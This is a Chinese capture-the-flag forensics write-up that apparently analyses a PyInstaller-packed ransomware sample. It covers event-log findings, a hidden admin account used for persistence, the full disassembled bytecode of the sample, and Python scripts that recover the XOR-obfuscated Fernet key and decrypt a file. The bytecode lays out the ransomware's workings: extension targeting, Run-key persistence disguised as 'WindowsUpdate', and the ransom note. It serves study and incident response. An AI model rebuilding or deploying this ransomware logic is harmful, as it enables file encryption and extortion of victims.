GiveMeCoin
给了win的事件日志文件和注册表，火眼或者其他事件分析工具分析一下
1.攻击者的ip
192.168.100.130
火眼筛选一下事件的数据内容即可，看到事件id为4624的数据中有ip，可以确认
2.攻击者维权后计划使用的账户
administratr$
将事件按照时间降序排列，发现
发现查询了一个隐藏的管理员用户是否是空密码的事件，警觉性和经验告诉我这个就是维权后计划使用的账户
筛选也能发现其被创建的事件
3.勒索软件的加密算法
Fernet
4.被加密文件的原始MD5（小写）
49745e86e10bf5ed31895882421bc2b0
附件中给的msmgrt.exe程序可以确定是用pyinstaller打包的exe文件，遂用工具解包
之后反编译RansomWare.pyc文件，虽然这个py版本过高没办法完全反编译成代码，但是可以得到字节码
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'txt' 'xlsx' 'xls' 'jpg' 'png' 'doc' 'docx' 'ppt' 'pptx' 'db' ) [Code] File Name: RansomWare.py Object Name: __init__ Qualified Name: RansomWare.__init__ Arg Count: 1 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 4 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'key' 'crypter' 'public_key' 'os' 'path' 'expanduser' 'sysRoot' 'join' 'localRoot' [Locals+Names] 'self' [Constants] None '~' 'Documents' [Disassembly] 0 RESUME 0 2 LOAD_CONST 0 : None 4 LOAD_FAST 0 : self 6 STORE_ATTR 0 : key 16 LOAD_CONST 0 : None 18 LOAD_FAST 0 : self 20 STORE_ATTR 1 : crypter 30 LOAD_CONST 0 : None 32 LOAD_FAST 0 : self 34 STORE_ATTR 2 : public_key 44 LOAD_GLOBAL 6 : os 54 LOAD_ATTR 8 : path 74 LOAD_ATTR 11 : expanduser 94 LOAD_CONST 1 : '~' 96 CALL 1 104 LOAD_FAST 0 : self 106 STORE_ATTR 6 : sysRoot 116 LOAD_GLOBAL 6 : os 126 LOAD_ATTR 8 : path 146 LOAD_ATTR 15 : join 166 LOAD_FAST 0 : self 168 LOAD_ATTR 12 : sysRoot 188 LOAD_CONST 2 : 'Documents' 190 CALL 2 198 LOAD_FAST 0 : self 200 STORE_ATTR 8 : localRoot 210 RETURN_CONST 0 : None [Code] File Name: RansomWare.py Object Name: generate_key Qualified Name: RansomWare.generate_key Arg Count: 1 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 8 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'Fernet' 'generate_key' 'key' 'crypter' 'bytes' 'range' 'len' 'base64' 'b64encode' 'decode' 'winreg' 'CreateKey' 'HKEY_CURRENT_USER' 'SetValueEx' 'REG_SZ' 'CloseKey' 'open' 'write' 'ctypes' 'windll' 'kernel32' 'SetFileAttributesW' [Locals+Names] 'self' 'enc_key' 'reg_path' 'reg_key' 'f' 'XOR_KEY' [Constants] None ( 0 1 2 3 4 ) [Code] File Name: RansomWare.py Object Name: <genexpr> Qualified Name: RansomWare.generate_key.<locals >.<genexpr> Arg Count: 1 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 7 Flags: 0x00000033 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NESTED | CO_GENERATOR) [Names] 'key' 'len' [Locals+Names] '.0' 'i' 'XOR_KEY' 'self' [Constants] None [Disassembly] 0 COPY_FREE_VARS 2 2 RETURN_GENERATOR 4 POP_TOP 6 RESUME 0 8 LOAD_FAST 0 : .0 10 GET_ITER 12 FOR_ITER 38 (to 90 ) 16 STORE_FAST 1 : i 18 LOAD_DEREF 3 : self 20 LOAD_ATTR 0 : key 40 LOAD_FAST 1 : i 42 BINARY_SUBSCR 46 LOAD_DEREF 2 : XOR_KEY 48 LOAD_FAST 1 : i 50 LOAD_GLOBAL 3 : NULL + len 60 LOAD_DEREF 2 : XOR_KEY 62 CALL 1 70 BINARY_OP 6 (%) 74 BINARY_SUBSCR 78 BINARY_OP 12 (^) 82 YIELD_VALUE 0 84 RESUME 5 86 POP_TOP 88 JUMP_BACKWARD 40 (to 10 ) 92 END_FOR 94 POP_TOP 96 RETURN_CONST 0 : None 98 CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR) 100 RERAISE 1 'utf-8' 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' 'WindowsUpdate' 0 '.keybackup' 'wb' 2 [Disassembly] 0 MAKE_CELL 0 : self 2 MAKE_CELL 5 : XOR_KEY 4 RESUME 0 6 LOAD_GLOBAL 0 : Fernet 16 LOAD_ATTR 2 : generate_key 36 PUSH_NULL 38 CALL 0 46 LOAD_DEREF 0 : self 48 STORE_ATTR 2 : key 58 LOAD_GLOBAL 1 : NULL + Fernet 68 LOAD_DEREF 0 : self 70 LOAD_ATTR 4 : key 90 CALL 1 98 LOAD_DEREF 0 : self 100 STORE_ATTR 3 : crypter 110 BUILD_LIST 0 112 LOAD_CONST 1 : (0 , 1 , 2 , 3 , 4 ) 114 LIST_EXTEND 1 116 STORE_DEREF 5 : XOR_KEY 118 LOAD_GLOBAL 9 : NULL + bytes 128 LOAD_FAST 5 : XOR_KEY 130 LOAD_FAST 0 : self 132 BUILD_TUPLE 2 134 LOAD_CONST 2 : <CODE> <genexpr> 136 MAKE_FUNCTION 138 SET_FUNCTION_ATTRIBUTE 8 (MAKE_FUNCTION_CLOSURE) 140 LOAD_GLOBAL 11 : NULL + range 150 LOAD_GLOBAL 13 : NULL + len 160 LOAD_DEREF 0 : self 162 LOAD_ATTR 4 : key 182 CALL 1 190 CALL 1 198 GET_ITER 200 CALL 0 208 CALL 1 216 STORE_FAST 1 : enc_key 218 LOAD_GLOBAL 14 : base64 228 LOAD_ATTR 16 : b64encode 248 PUSH_NULL 250 LOAD_FAST 1 : enc_key 252 CALL 1 260 LOAD_ATTR 19 : decode 280 LOAD_CONST 3 : 'utf-8' 282 CALL 1 290 STORE_FAST 1 : enc_key 292 NOP 294 LOAD_CONST 4 : 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' 296 STORE_FAST 2 : reg_path 298 LOAD_GLOBAL 20 : winreg 308 LOAD_ATTR 22 : CreateKey 328 PUSH_NULL 330 LOAD_GLOBAL 20 : winreg 340 LOAD_ATTR 24 : HKEY_CURRENT_USER 360 LOAD_FAST 2 : reg_path 362 CALL 2 370 STORE_FAST 3 : reg_key 372 LOAD_GLOBAL 20 : winreg 382 LOAD_ATTR 26 : SetValueEx 402 PUSH_NULL 404 LOAD_FAST 3 : reg_key 406 LOAD_CONST 5 : 'WindowsUpdate' 408 LOAD_CONST 6 : 0 410 LOAD_GLOBAL 20 : winreg 420 LOAD_ATTR 28 : REG_SZ 440 LOAD_FAST 1 : enc_key 442 CALL 5 450 POP_TOP 452 LOAD_GLOBAL 20 : winreg 462 LOAD_ATTR 30 : CloseKey 482 PUSH_NULL 484 LOAD_FAST 3 : reg_key 486 CALL 1 494 POP_TOP 496 RETURN_CONST 0 : None 498 PUSH_EXC_INFO 500 POP_TOP 502 LOAD_GLOBAL 33 : NULL + open 512 LOAD_CONST 7 : '.keybackup' 514 LOAD_CONST 8 : 'wb' 516 CALL 2 524 BEFORE_WITH 526 STORE_FAST 4 : f 528 LOAD_FAST 4 : f 530 LOAD_ATTR 35 : write 550 LOAD_FAST 1 : enc_key 552 CALL 1 560 POP_TOP 562 LOAD_CONST 0 : None 564 LOAD_CONST 0 : None 566 LOAD_CONST 0 : None 568 CALL 2 576 POP_TOP 578 JUMP_FORWARD 17 (to 614 ) 580 PUSH_EXC_INFO 582 WITH_EXCEPT_START 584 TO_BOOL 592 POP_JUMP_IF_TRUE 1 (to 596 ) 596 RERAISE 2 598 POP_TOP 600 POP_EXCEPT 602 POP_TOP 604 POP_TOP 606 JUMP_FORWARD 3 (to 614 ) 608 COPY 3 610 POP_EXCEPT 612 RERAISE 1 614 NOP 616 LOAD_GLOBAL 36 : ctypes 626 LOAD_ATTR 38 : windll 646 LOAD_ATTR 40 : kernel32 666 LOAD_ATTR 43 : SetFileAttributesW 686 LOAD_CONST 7 : '.keybackup' 688 LOAD_CONST 9 : 2 690 CALL 2 698 POP_TOP 700 POP_EXCEPT 702 RETURN_CONST 0 : None 704 PUSH_EXC_INFO 706 POP_TOP 708 POP_EXCEPT 710 POP_EXCEPT 712 RETURN_CONST 0 : None 714 COPY 3 716 POP_EXCEPT 718 RERAISE 1 720 COPY 3 722 POP_EXCEPT 724 RERAISE 1 [Code] File Name: RansomWare.py Object Name: crypt_file Qualified Name: RansomWare.crypt_file Arg Count: 3 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 6 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'open' 'read' 'crypter' 'encrypt' 'decrypt' 'write' [Locals+Names] 'self' 'file_path' 'encrypted' 'f' 'data' '_data' 'fp' [Constants] None 'rb' 'wb' [Disassembly] 0 RESUME 0 2 LOAD_GLOBAL 1 : NULL + open 12 LOAD_FAST 1 : file_path 14 LOAD_CONST 1 : 'rb' 16 CALL 2 24 BEFORE_WITH 26 STORE_FAST 3 : f 28 LOAD_FAST 3 : f 30 LOAD_ATTR 3 : read 50 CALL 0 58 STORE_FAST 4 : data 60 LOAD_FAST 2 : encrypted 62 TO_BOOL 70 POP_JUMP_IF_TRUE 28 (to 128 ) 74 LOAD_FAST 0 : self 76 LOAD_ATTR 4 : crypter 96 LOAD_ATTR 7 : encrypt 116 LOAD_FAST 4 : data 118 CALL 1 126 STORE_FAST 5 : _data 128 JUMP_FORWARD 27 (to 184 ) 130 LOAD_FAST 0 : self 132 LOAD_ATTR 4 : crypter 152 LOAD_ATTR 9 : decrypt 172 LOAD_FAST 4 : data 174 CALL 1 182 STORE_FAST 5 : _data 184 LOAD_CONST 0 : None 186 LOAD_CONST 0 : None 188 LOAD_CONST 0 : None 190 CALL 2 198 POP_TOP 200 LOAD_GLOBAL 1 : NULL + open 210 LOAD_FAST 1 : file_path 212 LOAD_CONST 2 : 'wb' 214 CALL 2 222 BEFORE_WITH 224 STORE_FAST 6 : fp 226 LOAD_FAST 6 : fp 228 LOAD_ATTR 11 : write 248 LOAD_FAST_CHECK 5 : _data 250 CALL 1 258 POP_TOP 260 LOAD_CONST 0 : None 262 LOAD_CONST 0 : None 264 LOAD_CONST 0 : None 266 CALL 2 274 POP_TOP 276 RETURN_CONST 0 : None 278 PUSH_EXC_INFO 280 WITH_EXCEPT_START 282 TO_BOOL 290 POP_JUMP_IF_TRUE 1 (to 294 ) 294 RERAISE 2 296 POP_TOP 298 POP_EXCEPT 300 POP_TOP 302 POP_TOP 304 JUMP_BACKWARD_NO_INTERRUPT 53 (to 200 ) 306 COPY 3 308 POP_EXCEPT 310 RERAISE 1 312 PUSH_EXC_INFO 314 WITH_EXCEPT_START 316 TO_BOOL 324 POP_JUMP_IF_TRUE 1 (to 328 ) 328 RERAISE 2 330 POP_TOP 332 POP_EXCEPT 334 POP_TOP 336 POP_TOP 338 RETURN_CONST 0 : None 340 COPY 3 342 POP_EXCEPT 344 RERAISE 1 [Code] File Name: RansomWare.py Object Name: crypt_system Qualified Name: RansomWare.crypt_system Arg Count: 2 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 7 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'os' 'walk' 'localRoot' 'path' 'join' 'split' 'file_exts' 'crypt_file' [Locals+Names] 'self' 'encrypted' 'system' 'root' 'dir' 'files' 'file' 'file_path' [Constants] None True ( 'topdown' ) '.' -1 ( 'encrypted' ) [Disassembly] 0 RESUME 0 2 LOAD_GLOBAL 0 : os 12 LOAD_ATTR 2 : walk 32 PUSH_NULL 34 LOAD_FAST 0 : self 36 LOAD_ATTR 4 : localRoot 56 LOAD_CONST 1 : True 58 LOAD_CONST 2 : ('topdown' ,) 60 CALL_KW 2 62 STORE_FAST 2 : system 64 LOAD_FAST 2 : system 66 GET_ITER 68 FOR_ITER 124 (to 318 ) 72 UNPACK_SEQUENCE 3 76 STORE_FAST_STORE_FAST 52 : root, dir 78 STORE_FAST 5 : files 80 LOAD_FAST 5 : files 82 GET_ITER 84 FOR_ITER 112 (to 310 ) 88 STORE_FAST 6 : file 90 LOAD_GLOBAL 0 : os 100 LOAD_ATTR 6 : path 120 LOAD_ATTR 9 : join 140 LOAD_FAST_LOAD_FAST 54 : root, file 142 CALL 2 150 STORE_FAST 7 : file_path 152 LOAD_FAST 6 : file 154 LOAD_ATTR 11 : split 174 LOAD_CONST 3 : '.' 176 CALL 1 184 LOAD_CONST 4 : -1 186 BINARY_SUBSCR 190 LOAD_FAST 0 : self 192 LOAD_ATTR 12 : file_exts 212 CONTAINS_OP 1 (not in ) 216 POP_JUMP_IF_FALSE 2 (to 222 ) 220 JUMP_BACKWARD 70 (to 82 ) 224 LOAD_FAST 1 : encrypted 226 TO_BOOL 234 POP_JUMP_IF_TRUE 19 (to 274 ) 238 LOAD_FAST 0 : self 240 LOAD_ATTR 15 : crypt_file 260 LOAD_FAST 7 : file_path 262 CALL 1 270 POP_TOP 272 JUMP_BACKWARD 96 (to 82 ) 276 LOAD_FAST 0 : self 278 LOAD_ATTR 15 : crypt_file 298 LOAD_FAST 7 : file_path 300 LOAD_CONST 1 : True 302 LOAD_CONST 5 : ('encrypted' ,) 304 CALL_KW 2 306 POP_TOP 308 JUMP_BACKWARD 114 (to 82 ) 312 END_FOR 314 POP_TOP 316 JUMP_BACKWARD 126 (to 66 ) 320 END_FOR 322 POP_TOP 324 RETURN_CONST 0 : None [Code] File Name: RansomWare.py Object Name: what_is_bitcoin Qualified Name: RansomWare.what_is_bitcoin Arg Count: 0 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 3 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'webbrowser' 'open' [Locals+Names] 'url' [Constants] None 'https://bitcoin.org' [Disassembly] 0 RESUME 0 2 LOAD_CONST 1 : 'https://bitcoin.org' 4 STORE_FAST 0 : url 6 LOAD_GLOBAL 0 : webbrowser 16 LOAD_ATTR 2 : open 36 PUSH_NULL 38 LOAD_FAST 0 : url 40 CALL 1 48 POP_TOP 50 RETURN_CONST 0 : None [Code] File Name: RansomWare.py Object Name: ransom_note Qualified Name: RansomWare.ransom_note Arg Count: 1 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 6 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'datetime' 'date' 'today' 'strftime' 'open' 'os' 'path' 'join' 'sysRoot' 'write' [Locals+Names] 'self' 'date' 'f' [Constants] None '%d-%B-Y' 'Desktop\\' 'RANSOM_NOTE.txt' 'w' '您的计算机硬盘已使用军用级加密算法进行加密。\n没有特殊密钥就无法恢复数据。\n只有我们能解密你的文件！\n\n要购买密钥并恢复数据，请遵循以下三个简单步骤：\n1.向钱包地址0x*********转账1比特币\n2.付款已完成，发送一封电子邮件到RecoverYourFiles@protonmail.com声明“已支付”。\n3.从回复的邮件中下载解密程序，在桌面执行\n' [Disassembly] 0 RESUME 0 2 LOAD_GLOBAL 0 : datetime 12 LOAD_ATTR 2 : date 32 LOAD_ATTR 5 : today 52 CALL 0 60 LOAD_ATTR 7 : strftime 80 LOAD_CONST 1 : '%d-%B-Y' 82 CALL 1 90 STORE_FAST 1 : date 92 LOAD_GLOBAL 9 : NULL + open 102 LOAD_GLOBAL 10 : os 112 LOAD_ATTR 12 : path 132 LOAD_ATTR 15 : join 152 LOAD_FAST 0 : self 154 LOAD_ATTR 16 : sysRoot 174 LOAD_CONST 2 : 'Desktop\\' 176 CALL 2 184 LOAD_CONST 3 : 'RANSOM_NOTE.txt' 186 BINARY_OP 0 (+) 190 LOAD_CONST 4 : 'w' 192 CALL 2 200 BEFORE_WITH 202 STORE_FAST 2 : f 204 LOAD_FAST 2 : f 206 LOAD_ATTR 19 : write 226 LOAD_CONST 5 : '您的计算机硬盘已使用军用级加密算法进行加密。\n没有特殊密钥就无法恢复数据。\n只有我们能解密你的文件！\n\n要购买密钥并恢复数据，请遵循以下三个简单步骤：\n1.向钱包地址0x*********转账1比特币\n2.付款已完成，发送一封电子邮件到RecoverYourFiles@protonmail.com声明“已支付”。\n3.从回复的邮件中下载解密程序，在桌面执行\n' 228 CALL 1 236 POP_TOP 238 LOAD_CONST 0 : None 240 LOAD_CONST 0 : None 242 LOAD_CONST 0 : None 244 CALL 2 252 POP_TOP 254 RETURN_CONST 0 : None 256 PUSH_EXC_INFO 258 WITH_EXCEPT_START 260 TO_BOOL 268 POP_JUMP_IF_TRUE 1 (to 272 ) 272 RERAISE 2 274 POP_TOP 276 POP_EXCEPT 278 POP_TOP 280 POP_TOP 282 RETURN_CONST 0 : None 284 COPY 3 286 POP_EXCEPT 288 RERAISE 1 ( 'crypter' 'key' 'localRoot' 'public_key' 'sysRoot' ) None ( False ) [Disassembly] 0 RESUME 0 2 LOAD_NAME 0 : __name__ 4 STORE_NAME 1 : __module__ 6 LOAD_CONST 0 : 'RansomWare' 8 STORE_NAME 2 : __qualname__ 10 LOAD_CONST 1 : 11 12 STORE_NAME 3 : __firstlineno__ 14 BUILD_LIST 0 16 LOAD_CONST 2 : ('txt' , 'xlsx' , 'xls' , 'jpg' , 'png' , 'doc' , 'docx' , 'ppt' , 'pptx' , 'db' ) 18 LIST_EXTEND 1 20 STORE_NAME 4 : file_exts 22 LOAD_CONST 3 : <CODE> __init__ 24 MAKE_FUNCTION 26 STORE_NAME 5 : __init__ 28 LOAD_CONST 4 : <CODE> generate_key 30 MAKE_FUNCTION 32 STORE_NAME 6 : generate_key 34 LOAD_CONST 11 : (False ,) 36 LOAD_CONST 5 : <CODE> crypt_file 38 MAKE_FUNCTION 40 SET_FUNCTION_ATTRIBUTE 1 (MAKE_FUNCTION_DEFAULTS) 42 STORE_NAME 7 : crypt_file 44 LOAD_CONST 11 : (False ,) 46 LOAD_CONST 6 : <CODE> crypt_system 48 MAKE_FUNCTION 50 SET_FUNCTION_ATTRIBUTE 1 (MAKE_FUNCTION_DEFAULTS) 52 STORE_NAME 8 : crypt_system 54 LOAD_NAME 9 : staticmethod 56 LOAD_CONST 7 : <CODE> what_is_bitcoin 58 MAKE_FUNCTION 60 CALL 0 68 STORE_NAME 10 : what_is_bitcoin 70 LOAD_CONST 8 : <CODE> ransom_note 72 MAKE_FUNCTION 74 STORE_NAME 11 : ransom_note 76 LOAD_CONST 9 : ('crypter' , 'key' , 'localRoot' , 'public_key' , 'sysRoot' ) 78 STORE_NAME 12 : __static_attributes__ 80 RETURN_CONST 10 : None 'RansomWare' [Code] File Name: RansomWare.py Object Name: main Qualified Name: main Arg Count: 0 Pos Only Arg Count: 0 KW Only Arg Count: 0 Stack Size: 2 Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS) [Names] 'RansomWare' 'generate_key' 'crypt_system' 'what_is_bitcoin' 'ransom_note' [Locals+Names] 'rw' [Constants] None [Disassembly] 0 RESUME 0 2 LOAD_GLOBAL 1 : NULL + RansomWare 12 CALL 0 20 STORE_FAST 0 : rw 22 LOAD_FAST 0 : rw 24 LOAD_ATTR 3 : generate_key 44 CALL 0 52 POP_TOP 54 LOAD_FAST 0 : rw 56 LOAD_ATTR 5 : crypt_system 76 CALL 0 84 POP_TOP 86 LOAD_FAST 0 : rw 88 LOAD_ATTR 7 : what_is_bitcoin 108 CALL 0 116 POP_TOP 118 LOAD_FAST 0 : rw 120 LOAD_ATTR 9 : ransom_note 140 CALL 0 148 POP_TOP 150 RETURN_CONST 0 : None '__main__' [Disassembly] 0 RESUME 0 2 LOAD_CONST 0 : 0 4 LOAD_CONST 1 : None 6 IMPORT_NAME 0 : winreg 8 STORE_NAME 0 : winreg 10 LOAD_CONST 0 : 0 12 LOAD_CONST 2 : ('Fernet' ,) 14 IMPORT_NAME 1 : cryptography.fernet 16 IMPORT_FROM 2 : Fernet 18 STORE_NAME 2 : Fernet 20 POP_TOP 22 LOAD_CONST 0 : 0 24 LOAD_CONST 1 : None 26 IMPORT_NAME 3 : os 28 STORE_NAME 3 : os 30 LOAD_CONST 0 : 0 32 LOAD_CONST 1 : None 34 IMPORT_NAME 4 : webbrowser 36 STORE_NAME 4 : webbrowser 38 LOAD_CONST 0 : 0 40 LOAD_CONST 1 : None 42 IMPORT_NAME 5 : ctypes 44 STORE_NAME 5 : ctypes 46 LOAD_CONST 0 : 0 48 LOAD_CONST 1 : None 50 IMPORT_NAME 6 : requests 52 STORE_NAME 6 : requests 54 LOAD_CONST 0 : 0 56 LOAD_CONST 1 : None 58 IMPORT_NAME 7 : datetime 60 STORE_NAME 7 : datetime 62 LOAD_CONST 0 : 0 64 LOAD_CONST 1 : None 66 IMPORT_NAME 8 : base64 68 STORE_NAME 8 : base64 70 LOAD_BUILD_CLASS 72 PUSH_NULL 74 LOAD_CONST 3 : <CODE> RansomWare 76 MAKE_FUNCTION 78 LOAD_CONST 4 : 'RansomWare' 80 CALL 2 88 STORE_NAME 9 : RansomWare 90 LOAD_CONST 5 : <CODE> main 92 MAKE_FUNCTION 94 STORE_NAME 10 : main 96 LOAD_NAME 11 : __name__ 98 LOAD_CONST 6 : '__main__' 100 COMPARE_OP 88 (==) 104 POP_JUMP_IF_FALSE 8 (to 122 ) 108 LOAD_NAME 10 : main 110 PUSH_NULL 112 CALL 0 120 POP_TOP 122 RETURN_CONST 1 : None 124 RETURN_CONST 1 : None
分析字节码可知，用XOR_KEY将fernet的密钥循环加密后得到enc_key，并将其存在注册表的Software\\Microsoft\\Windows\\CurrentVersion\\Run中的WindowsUpdate键值下
XOR_KEY是(0, 1, 2, 3, 4),比赛的时候没有分析出来，艹啊，还是太菜了，看不懂字节码，同时这个字节码可能也有错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import base64def decrypt_key (enc_key_base64 ): """ 解密加密的密钥 """ try : enc_key = base64.b64decode(enc_key_base64) XOR_KEY = [0 , 1 , 2 , 3 , 4 ] key_length = len (enc_key) original_key = bytes (enc_key[i] ^ XOR_KEY[i % len (XOR_KEY)] for i in range (key_length)) return original_key except Exception as e: print (f"密钥解密失败: {str (e)} " ) return None encrypted_key = "d2hNbX1BT05hPUFAWnV8ejI3bEpESDFwTkZlYTUpb2c2Lmc2TDRsbV9DSz4=" original_key = decrypt_key(encrypted_key) print (original_key)
得到wiOnyANLb9AAXvxz35oNDI3sJFdc6-of4-c6M6oi_BI=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import base64from cryptography.fernet import Fernet, InvalidTokenenc_b64 = "d2hNbX1BT05hPUFAWnV8ejI3bEpESDFwTkZlYTUpb2c2Lmc2TDRsbV9DSz4=" XOR_KEY = bytes ([0 ,1 ,2 ,3 ,4 ]) def recover_key (enc_b64 ): try : enc = base64.b64decode(enc_b64, validate=True ) except Exception as e: raise RuntimeError(f"base64 decode failed: {e} " ) recovered = bytes ([enc[i] ^ XOR_KEY[i % len (XOR_KEY)] for i in range (len (enc))]) try : recovered_str = recovered.decode('ascii' ) except Exception: recovered_str = None return recovered, recovered_str def make_fernet_from_recovered (recovered, recovered_str ): candidate = None if recovered_str and len (recovered_str) == 44 : candidate = recovered_str.encode() else : if len (recovered) == 44 : candidate = recovered else : raise RuntimeError(f"Recovered key length unexpected: {len (recovered)} " ) return Fernet(candidate), candidate def decrypt_file (fernet, candidate_key, enc_path, out_path ): with open (enc_path, 'rb' ) as f: token = f.read() try : plaintext = fernet.decrypt(token) except InvalidToken: raise RuntimeError("InvalidToken: 该文件不是由此 key 加密，或已损坏/非标准 Fernet token" ) with open (out_path, 'wb' ) as f: f.write(plaintext) return out_path if __name__ == "__main__" : recovered, recovered_str = recover_key(enc_b64) print ("Recovered raw bytes repr:" , repr (recovered)) if recovered_str: print ("Recovered as ASCII:" , recovered_str) else : print ("Recovered is not valid ASCII string; showing repr above." ) print ("Recovered length:" , len (recovered)) try : fobj, key_used = make_fernet_from_recovered(recovered, recovered_str) print ("Fernet instance created, key bytes repr:" , repr (key_used)) except Exception as e: print ("Cannot construct Fernet from recovered key:" , e) raise enc_file = "a.txt" out_file = "x.xlsx" decrypt_file(fobj, key_used, enc_file, out_file) print ("Decrypted ->" , out_file)
得到文件
